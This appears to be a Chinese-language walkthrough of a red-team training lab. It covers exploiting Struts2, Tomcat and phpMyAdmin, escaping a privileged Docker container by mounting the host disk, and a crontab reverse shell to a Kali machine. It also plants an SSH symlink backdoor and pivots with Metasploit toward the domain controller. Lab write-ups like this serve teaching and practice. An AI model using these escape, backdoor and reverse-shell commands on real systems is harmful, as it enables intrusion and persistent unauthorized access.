ATT&CK红队实战靶场04
基本信息
账号密码
- web ubuntu:ubuntu
- 域成员 douser:Dotest123
- DC administrator:Test2008
环境为kali复制物理网络,ubuntu复制物理网络/仅主机,其余都为仅主机
拓补图
外网打点
对ubuntu进行扫描
S2
挨个访问,2001端口根据title可以看到是Struts2框架
掏出检测工具,存在漏洞
exp直接拿下root权限
tomcat
2002端口tomcat,想war写马但是403
检测到存在cve-2017-12615
phpmyadmin
2003端口phpmyadmin未授权,首先想到的是写通过日志写马,但是没有权限
网上找到4.8.1版本存在文件包含漏洞,可以通过写入缓存文件来getshell
复现连接https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md
然后在test库中查询,写入session缓存,然后再包含这个session文件来getshell,不知道为什么我本地根本没有生成这个session文件,已经拿到两个root权限的shell,不影响
docker逃逸
根据拿到的shell收集信息
判断是否为docker环境
ls -alh /.dockerenv #查看是否存dockerrnv文件
cat /proc/1/cgroup #查看系统进程的cgroup信息
此处利用特权模式逃逸,创建容器时通过添加–privileged=true参数,将容器以特权模式起动
1 | docker run -itd --name privilegeTest –-privileged=true mongo:3.6-streth |
特权模式起动的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起)这里tomcat容器是特权模式启动的
fdisk -l #查看磁盘文件
mkdir /chan #新建一个目录用于挂载
mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内
再利用计划任务反弹shell,这种半交互式shell,走web协议在写计划任务的时候会有很多转义问题,直接写webshell到根目录也出各种问题,于是用kali起了一个web服务把webshell放进去,让这个tomcat容器去下载
计划任务反弹shell
写入反弹语句
写到计划任务里
1 | sed -i '$a*/1 * * * * root bash /tmp/shell.sh ' /chan/etc/crontab |
kali成功收到会话
构造ssh软连接后门,做权限维持
软连后门需要root执行后门命令,任意密码登录
1 | ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345 |
内网渗透
信息收集
发现有两张网卡
弹一个会话到msf上,方便内网渗透,直接用msf自带的webshell比去生成后门再上传方便很多,
将生成的连接复制到刚刚返弹的shell中执行
拿到会话
添加到40网段的路由
使用kali自带的模块再对40网段存活主机进行扫描
再进行端口探测
1 | use auxiliary/scanner/portscan/tcp |
内网打点
开放了445端口尝试17010,这里要创建一个正向连接的payload,因为我们无法直接与靶机通信,反向连接的话靶机无法连接到kali
ms17-010打过去不返回会话,不知道管理员密码,作弊直接上去反弹shell,是域用户不是system运行不了mimikatz
直接寄了,后面的流程就是打到域用户,然后抓取hash制作TGT票据,然后用ms14-068打到域控,制作黄金票据维持权限